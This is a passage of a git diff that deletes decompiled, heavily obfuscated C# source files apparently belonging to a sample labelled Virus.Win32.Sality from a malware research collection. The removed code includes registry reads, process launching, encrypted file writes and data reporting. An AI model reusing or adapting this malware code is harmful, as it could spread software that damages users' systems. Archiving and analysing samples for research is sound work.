\u0003\u0006.\u007E\u0013\u0003(obj3); - str = !\u0008\u0003.\u0081\u0003(str, \u0003\u0006.\u007E\u0013\u0005((object) type)) ? (!\u009E\u0005.\u007E\u001E\u0005((object) type) ? (!(obj3 is Guid) ? \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), str, \u0006.\u0001(1278)) : \u0091\u0005.\u0096\u0003(\u0006.\u0001(698), str, \u0006.\u0001(1273))) : \u0015\u0004.\u007F\u0003(type, obj3, \u0006.\u0001(2111))) : (string) null; - } - catch - { - } - if (str != null) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), this.\u0003(str)); - if (\u009E\u0005.\u007E\u0082\u0005((object) type)) - { - this.\u0003(\u0011\u0004.\u007E\u0083\u0005((object) type)); - if (\u009E\u0005.\u007E\u007F\u0005((object) type)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1193), \u0006.\u0001(1041)); - if (\u009E\u0005.\u007E\u0080\u0005((object) type)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1202), \u0006.\u0001(1041)); - if (\u009E\u0005.\u007E\u001F\u0005((object) type)) - { - Array array = (Array) obj3; - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1215), \u008A\u0005.\u007E\u001C\u0003((object) array).ToString()); - StringBuilder stringBuilder1 = new StringBuilder(); - for (int index2 = 0; index2 < \u008A\u0005.\u007E\u001C\u0003((object) array); ++index2) - { - if (index2 > 0) - { - StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ','); - } - StringBuilder stringBuilder3 = \u0088\u0003.\u007E\u009C\u0003((object) stringBuilder1, \u0099\u0005.\u007E\u001B\u0003((object) array, index2)); - } - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1741), \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1)); - if (\u008A\u0005.\u007E\u001C\u0003((object) array) == 1) - { - int num11 = \u008A\u0005.\u007E\u001A\u0003((object) array); - for (int index3 = 0; index3 < num11; ++index3) - { - if (index3 == 10) - { - if (num11 > 16) - index3 = num11 - 5; - } - try - { - this.\u0003(\u0081\u0005.\u007E\u0019\u0003((object) array, index3), (FieldInfo) null); - } - catch - { - } - } - } - } - } - else - { - this.\u0003(type); - if (index1 < num10) - { - if (obj3 is IEnumerable) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2116)); - try - { - int num12 = 0; - IEnumerator enumerator2 = \u0083\u0004.\u007E\u0016\u0003((object) (IEnumerable) obj3); - try - { - while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator2)) - { - object obj4 = \u0010\u0005.\u007E\u001E\u0003((object) enumerator2); - if (num12 > 20) - { - \u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(2133), string.Empty); - break; - } - this.\u0003(obj4, (FieldInfo) null); - ++num12; - } - } - finally - { - if (enumerator2 is IDisposable disposable) - \u0087\u0005.\u007E\u001F\u0003((object) disposable); - } - } - catch - { - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - bool flag = true; - while ((object) type != null) - { - if (!flag) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2142)); - this.\u0003(type); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - FieldInfo[] fieldInfoArray = \u0096\u0003.\u007E\u001B\u0005((object) type, BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - if (fieldInfoArray.Length > 0) - { - for (int index4 = 0; index4 < fieldInfoArray.Length; ++index4) - { - try - { - if (!\u009E\u0005.\u007E\u0098\u0006((object) fieldInfoArray[index4])) - { - if (\u009E\u0005.\u007E\u0096\u0006((object) fieldInfoArray[index4])) - { - if (\u009E\u0005.\u007E\u0097\u0006((object) fieldInfoArray[index4])) - continue; - } - this.\u0003(\u0083\u0005.\u007E\u0094\u0006((object) fieldInfoArray[index4], obj3), fieldInfoArray[index4]); - } - } - catch - { - } - } - } - type = \u0011\u0004.\u007E\u0016\u0005((object) type); - flag = false; - if (this.\u0003(type).\u0003()) - break; - } - } - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2159)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2172), \u008A\u0005.\u007E\u009A\u0005((object) this.\u0002).ToString()); - for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0002); ++index) - { - string empty = string.Empty; - string str; - try - { - str = \u0003\u0006.\u007E\u0013\u0003(\u0081\u0005.\u007E\u009B\u0005((object) this.\u0002, index)); - } - catch (Exception ex) - { - str = \u000E\u0005.\u0094\u0003((object) '"', (object) \u0003\u0006.\u007E\u0001\u0004((object) ex), (object) '"'); - } - \u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1430), str); - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2181)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2172), \u008A\u0005.\u007E\u009A\u0005((object) this.\u0003).ToString()); - for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0003); ++index) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1481)); - \u0006.\u0002 obj = (\u0006.\u0002) \u0081\u0005.\u007E\u009B\u0005((object) this.\u0003, index); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), obj.\u0001); - if (\u008A\u0005.\u007E\u0084\u0003((object) obj.\u0002) > 0) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2198), obj.\u0002); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - \u0087\u0005.\u007E\u0011((object) this.\u0001); - \u0087\u0005.\u007E\u0015((object) this.\u0001); - \u0087\u0005.\u007E\u0019\u0007((object) w); - return \u0095\u0002.\u007E\u008B\u0007((object) w); - } - - internal bool \u0003([In] string obj0) - { - try - { - byte[] numArray1 = this.\u0003(\u008E\u0004.\u0095\u0004().ToString(\u0006.\u0001(1376))); - FileStream fileStream = \u0003\u0005.\u0087\u0007(obj0); - byte[] numArray2 = \u0003.\u0005.\u0003(\u0006.\u0004(numArray1), \u0006.\u0001(2211)); - byte[] numArray3 = \u0019\u0005.\u007E\u009F\u0006((object) \u001F\u0003.\u009E\u0006(), \u0006.\u0001(1498)); - \u009B\u0005.\u007E\u001D\u0007((object) fileStream, numArray3, 0, numArray3.Length); - \u009B\u0005.\u007E\u001D\u0007((object) fileStream, numArray2, 0, numArray2.Length); - \u0087\u0005.\u007E\u0018\u0007((object) fileStream); - return true; - } - catch (ThreadAbortException ex) - { - return false; - } - catch (Exception ex) - { - return false; - } - } - - internal void \u0003() - { - try - { - string str1 = \u009E\u0003.\u008D\u0007(); - this.\u0003(str1); - string str2 = this.\u0004(\u0006.\u0001(1569)); - if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && !\u0087\u0003.\u007E\u0089\u0003((object) str2, \u0006.\u0001(2537))) - str2 = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2537)); - Process process = \u008A\u0003.\u0081\u0008(\u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2542)), \u0091\u0005.\u0096\u0003(\u0006.\u0001(2571), str1, \u0006.\u0001(1278))); - if (this.\u0001 == null) - return; - \u0011\u0003.\u007E\u0092\u0004((object) this.\u0001, (object) this, EventArgs.Empty); - } - catch (ThreadAbortException ex) - { - } - catch (Exception ex) - { - this.\u0003(new \u0004.\u0005(ex)); - } - } - - internal bool \u0003() - { - try - { - if (this.\u0001 != null) - goto label_35; -label_1: - byte[] numArray1; - try - { - numArray1 = this.\u0003(string.Empty); - } - catch (Exception ex) - { - int num = -1; - try - { - StackTrace stackTrace = new StackTrace(ex); - if (\u008A\u0005.\u007E\u0013\u0006((object) stackTrace) > 0) - { - StackFrame stackFrame = \u0082\u0005.\u007E\u0014\u0006((object) stackTrace, \u008A\u0005.\u007E\u0013\u0006((object) stackTrace) - 1); - num = \u008A\u0005.\u007E\u0016\u0006((object) stackFrame); - } - } - catch - { - } - if (this.\u0001 != null) - this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0090\u0005.\u0093\u0003(\u0006.\u0001(2600), (object) \u0003\u0006.\u007E\u0001\u0004((object) ex), (object) num))); - return false; - } - byte[] numArray2 = \u0006.\u0004(numArray1); - if (numArray2 == null) - { - if (this.\u0001 != null) - this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0006.\u0001)); - return false; - } - byte[] numArray3 = \u0003.\u0005.\u0003(numArray2, \u0006.\u0001(2211)); - if (numArray3 == null) - { - if (this.\u0001 != null) - this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0003.\u0005.\u0001)); - return false; - } - if (this.\u0001 != null) - this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0002)); - \u0006 obj = new \u0006(\u0006.\u0001(2633)); - if (this.\u0001 != null) - obj.\u0003(this.\u0001); - string str1 = obj.\u0003(); - if (\u0008\u0003.\u0081\u0003(str1, \u0006.\u0001(2686))) - { - if (this.\u0001 != null) - this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0003)); - byte[] numArray4 = \u0019\u0005.\u007E\u009F\u0006((object) \u001F\u0003.\u009E\u0006(), \u0006.\u0001(1498)); - byte[] numArray5 = new byte[numArray4.Length + numArray3.Length]; - \u0005\u0006.\u0017\u0003((Array) numArray4, (Array) numArray5, numArray4.Length); - \u0081\u0004.\u0018\u0003((Array) numArray3, 0, (Array) numArray5, numArray4.Length, numArray3.Length); - string str2 = obj.\u0003(numArray5); - if (\u0087\u0003.\u007E\u008D\u0003((object) str2, \u0006.\u0001(2691))) - { - if (this.\u0001 != null) - this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0003, str2)); - return false; - } - if (this.\u0001 != null) - { - \u0004.\u0003 e = new \u0004.\u0003(\u0003.\u0002.\u0004); - e.\u0003(str2); - this.\u0001((object) this, e); - } - return true; - } - string str3 = str1; - if (this.\u0001 != null) - this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0002, str3)); - return false; -label_35: - this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001)); - goto label_1; - } - catch (ThreadAbortException ex) - { - return false; - } - catch (Exception ex) - { - this.\u0003(new \u0004.\u0005(ex)); - return false; - } - } - - private string \u0004([In] string obj0) - { - try - { - RegistryKey registryKey = \u009A\u0005.\u007E\u0008\u0007((object) Registry.LocalMachine, \u0006.\u0001(2696)) ?? \u009A\u0005.\u007E\u0008\u0007((object) Registry.LocalMachine, \u0006.\u0001(2729)); - if (registryKey == null) - return string.Empty; - string str = (string) \u007F\u0004.\u007E\u000E\u0007((object) registryKey, obj0, (object) string.Empty); - \u0087\u0005.\u007E\u0007\u0007((object) registryKey); - return str; - } - catch - { - return string.Empty; - } - } - - internal bool \u0003([In] SecurityException obj0) - { - \u0004.\u0004 obj = new \u0004.\u0004(obj0); - this.\u0003(obj); - if (obj.\u0005()) - return false; - if (!obj.\u0004()) - \u0016\u0005.\u007F(); - return true; - } - - internal string \u0004() - { - string str1 = Guid.Empty.ToString(\u0006.\u0001(1376)); - try - { - string str2 = this.\u0004(\u0006.\u0001(1569)); - if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && !\u0087\u0003.\u007E\u0089\u0003((object) str2, \u0006.\u0001(2537))) - str2 = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2537)); - string url = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2778)); - if (\u001E\u0005.\u0086\u0007(url)) - { - XmlTextReader xmlTextReader = new XmlTextReader(url); - if (\u009E\u0005.\u007E\u0018((object) xmlTextReader)) - str1 = \u008E\u0003.\u007E\u0017((object) xmlTextReader, \u0006.\u0001(2815)); - \u0087\u0005.\u007E\u0019((object) xmlTextReader); - } - } - catch - { - } - return str1; - } - - internal void \u0003([In] Exception obj0, [In] bool obj1) - { - if (obj0 == null || obj0 is ThreadAbortException) - return; - \u0006.\u0001 = true; - bool flag = true; - try - { - this.\u0001 = obj0; - this.\u0001 = (Hashtable) null; - this.\u0002 = (Hashtable) null; - \u0005.\u0002 obj2 = new \u0005.\u0002(this, obj0); - if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u008E\u0003((object) \u0006.\u0001(2633)), \u0003\u0006.\u007E\u008E\u0003((object) this.\u0004()))) - obj2.\u0003(); - \u0008\u0003 obj3 = \u0008\u0003.\u0081\u0003; - string str1 = \u0003\u0006.\u007E\u008E\u0003((object) \u0006.\u0001(2633)); - Guid empty = Guid.Empty; - string str2 = \u0003\u0006.\u007E\u008E\u0003((object) empty.ToString(\u0006.\u0001(1376))); - if (obj3(str1, str2)) - obj2.\u0004(); - if (!obj1) - obj2.\u0005(); - this.\u0003(obj2); - flag = !obj2.\u0006(); - } - catch (ThreadAbortException ex) - { - } - catch (Exception ex) - { - this.\u0003(new \u0004.\u0005(ex)); - } - this.\u0001 = (Exception) null; - this.\u0001 = (Hashtable) null; - this.\u0002 = (Hashtable) null; - \u0006.\u0001 = false; - if (!flag) - return; - foreach (Assembly assembly in \u009A\u0002.\u007E\u001E\u0004((object) \u0099\u0003.\u001D\u0004())) - { - try - { - string str = \u0003\u0006.\u007E\u0019\u0006((object) assembly); - if (\u0087\u0003.\u007E\u0089\u0003((object) str, \u0006.\u0001(2828))) - { - if (\u0087\u0003.\u007E\u008D\u0003((object) str, \u0006.\u0001(2853))) - { - object obj4 = \u0093\u0005.\u007E\u0090\u0006((object) \u0008\u0004.\u007E\u0099\u0006((object) \u0014\u0005.\u007E\u001C\u0005((object) \u0092\u0003.\u007E\u001A\u0006((object) assembly, \u0006.\u0001(2886)), \u0006.\u0001(2923))), (object) null, (object[]) null); - object obj5 = \u0093\u0005.\u007E\u0090\u0006((object) \u0012\u0005.\u007E\u0017\u0005((object) \u0011\u0004.\u007E\u0015\u0003(obj4), \u0006.\u0001(2936), new Type[0]), obj4, (object[]) null); - } - } - } - catch - { - } - } - \u0016\u0005.\u007F(); - try - { - \u009D\u0005.\u008F\u0004(0); - } - catch - { - } - } - - static \u0006() - { - \u0001.\u0003.\u0003(); - \u0006.\u0001 = \u0006.\u0001(1041); - \u0006.\u0001 = false; - \u0006.\u0001 = (\u0006) null; - } - - private struct \u0001 - { - public string \u0001; - public string \u0002; - public string \u0003; - public int \u0001; - } - - private struct \u0002 - { - public string \u0001; - public string \u0002; - - public \u0002([In] string obj0, [In] string obj1) - { - this.\u0001 = obj0; - this.\u0002 = obj1; - } - } - - private struct \u0003 - { - public string \u0001; - public \u0006.\u0002 \u0001; - - [SpecialName] - public bool \u0003() => \u008A\u0005.\u007E\u0084\u0003((object) this.\u0001) == 0; - - [SpecialName] - public static \u0006.\u0003 \u0003() => new \u0006.\u0003(string.Empty, string.Empty, string.Empty); - - public \u0003([In] string obj0, [In] string obj1, [In] string obj2) - { - this.\u0001 = obj0; - this.\u0001 = new \u0006.\u0002(obj1, obj2); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0003.cs deleted file mode 100644 index 01e49a0e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; - -internal delegate Assembly \u0003\u0003(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0004.cs deleted file mode 100644 index 444981ef..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0003\u0004([In] object obj0, [In] long obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0005.cs deleted file mode 100644 index fdf21ae0..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate FileStream \u0003\u0005([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0006.cs deleted file mode 100644 index 963f7b7e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0006.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0003\u0006([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/Token200012C.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/Token200012C.cs deleted file mode 100644 index c9649442..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/Token200012C.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token200012C -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0004 -{ - internal class Token200012C : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0001.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0001.cs deleted file mode 100644 index 555ec76e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0001.cs +++ /dev/null @@ -1,159 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0005; -using System; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0004 -{ - internal sealed class \u0001 : Control - { - [NonSerialized] - internal static \u0002 \u0001; - private Label \u0001 = new Label(); - private Image \u0001; - private Icon \u0001; - private Bitmap \u0001; - private \u0005.\u0005 \u0001; - private float \u0001 = 1f; - private float \u0002 = 1f; - - [SpecialName] - public void \u0003([In] \u0005.\u0005 obj0) - { - if (this.\u0001 == obj0) - return; - this.\u0001 = obj0; - switch (this.\u0001) - { - case \u0005.\u0005.\u0002: - this.\u0001 = \u0006.\u0003(\u0004.\u0001.\u0001(2974)); - break; - case \u0005.\u0005.\u0003: - this.\u0001 = \u0006.\u0003(\u0004.\u0001.\u0001(2987)); - break; - default: - this.\u0001 = (Bitmap) null; - break; - } - \u0087\u0005.\u007E\u0008\u0002((object) this); - } - - [SpecialName] - public override string get_Text() => \u0003\u0006.\u007E\u0098((object) this.\u0001); - - [SpecialName] - public override void set_Text([In] string obj0) => \u0096\u0004.\u007E\u0099((object) this.\u0001, obj0); - - protected override void Dispose([In] bool obj0) - { - if (obj0) - goto label_7; -label_6: - \u000E\u0003.\u0001\u0002((object) this, obj0); - return; -label_7: - if (this.\u0001 != null) - { - \u0087\u0005.\u007E\u0093\u0008((object) this.\u0001); - this.\u0001 = (Icon) null; - } - if (this.\u0001 != null) - { - \u0087\u0005.\u007E\u0088\u0008((object) this.\u0001); - this.\u0001 = (Image) null; - } - if (this.\u0001 != null) - { - \u0087\u0005.\u007E\u0088\u0008((object) this.\u0001); - this.\u0001 = (Bitmap) null; - goto label_6; - } - else - goto label_6; - } - - protected override void OnResize([In] EventArgs obj0) - { - \u0082\u0004.\u007E\u0010\u0002((object) this.\u0001, \u008E\u0005.\u008A\u0004(13f * this.\u0001), \u008E\u0005.\u008A\u0004(15f * this.\u0002), \u008A\u0005.\u009C((object) this) - \u008E\u0005.\u008A\u0004(69f * this.\u0001), \u008A\u0005.\u008E((object) this) - \u008E\u0005.\u008A\u0004(18f * this.\u0002)); - \u0094\u0005.\u0007\u0002((object) this, obj0); - } - - protected override void ScaleCore([In] float obj0, [In] float obj1) - { - this.\u0001 = obj0; - this.\u0002 = obj1; - \u0013\u0004.\u000F\u0002((object) this, obj0, obj1); - \u0094\u0005.\u007E\u0007\u0002((object) this, EventArgs.Empty); - } - - protected override void OnPaint([In] PaintEventArgs obj0) - { - \u0088\u0005.\u0006\u0002((object) this, obj0); - \u008E\u0002.\u007E\u008C\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), \u0001\u0003.\u0001\u000E(), 0, \u0002\u0004.\u0086((object) this).Height - 2, \u0002\u0004.\u0086((object) this).Width, \u0002\u0004.\u0086((object) this).Height - 2); - \u008E\u0002.\u007E\u008C\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), \u0001\u0003.\u0002\u000E(), 0, \u0002\u0004.\u0086((object) this).Height - 1, \u0002\u0004.\u0086((object) this).Width, \u0002\u0004.\u0086((object) this).Height - 1); - Rectangle rectangle = new Rectangle(\u0002\u0004.\u0086((object) this).Width - \u008E\u0005.\u008A\u0004(48f * this.\u0001), \u008E\u0005.\u008A\u0004(11f * this.\u0002), \u008E\u0005.\u008A\u0004(32f * this.\u0001), \u008E\u0005.\u008A\u0004(32f * this.\u0002)); - if (this.\u0001 != null) - { - \u0097\u0003.\u007E\u008F\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), this.\u0001, rectangle, new Rectangle(0, 0, 32, 32), GraphicsUnit.Pixel); - } - else - { - if (this.\u0001 == null) - return; - \u009C\u0004.\u007E\u008E\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), this.\u0001, rectangle); - if (this.\u0001 == null) - return; - \u0097\u0003.\u007E\u008F\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), (Image) this.\u0001, new Rectangle(rectangle.Right - \u008E\u0005.\u008A\u0004(12f * this.\u0001), rectangle.Bottom - \u008E\u0005.\u008A\u0004(12f * this.\u0002), \u008E\u0005.\u008A\u0004(16f * this.\u0001), \u008E\u0005.\u008A\u0004(16f * this.\u0002)), new Rectangle(0, 0, 16, 16), GraphicsUnit.Pixel); - } - } - - protected override void OnFontChanged([In] EventArgs obj0) - { - try - { - \u000F\u0004.\u007E\u008C((object) this.\u0001, new Font(\u001A\u0004.\u007E\u008B((object) this), FontStyle.Bold)); - \u0094\u0005.\u0004\u0002((object) this, obj0); - } - catch - { - } - } - - public \u0001() - { - try - { - \u0095\u0003.\u007E\u008E\u0002((object) this.\u0001, FlatStyle.System); - \u000F\u0004.\u007E\u008C((object) this.\u0001, new Font(\u001A\u0004.\u007E\u008B((object) this), FontStyle.Bold)); - } - catch - { - } - \u001C\u0003.\u007E\u0013\u0002((object) \u0093\u0003.\u0087((object) this), (Control) this.\u0001); - \u009F\u0002.\u007E\u0082((object) this, \u0099\u0004.\u009F\u0008()); - \u000E\u0003.\u0097((object) this, false); - \u0007\u0003.\u007E\u0089((object) this, DockStyle.Top); - \u0004\u0004.\u008F((object) this, 58); - \u008D\u0003.\u0011\u0002((object) this, ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor | ControlStyles.AllPaintingInWmPaint | ControlStyles.DoubleBuffer, true); - this.\u0001 = \u0003.\u0003(); - \u0094\u0005.\u007E\u0007\u0002((object) this, EventArgs.Empty); - } - - public \u0001([In] string obj0) - : this() - { - \u0096\u0004.\u007E\u0099((object) this.\u0001, obj0); - } - - static \u0001() => \u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0002.cs deleted file mode 100644 index b9b652e0..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0002.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0004; - -namespace \u0004 -{ - internal delegate void \u0002(object sender, \u0003 e); -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0003.cs deleted file mode 100644 index 76615bf6..00000000 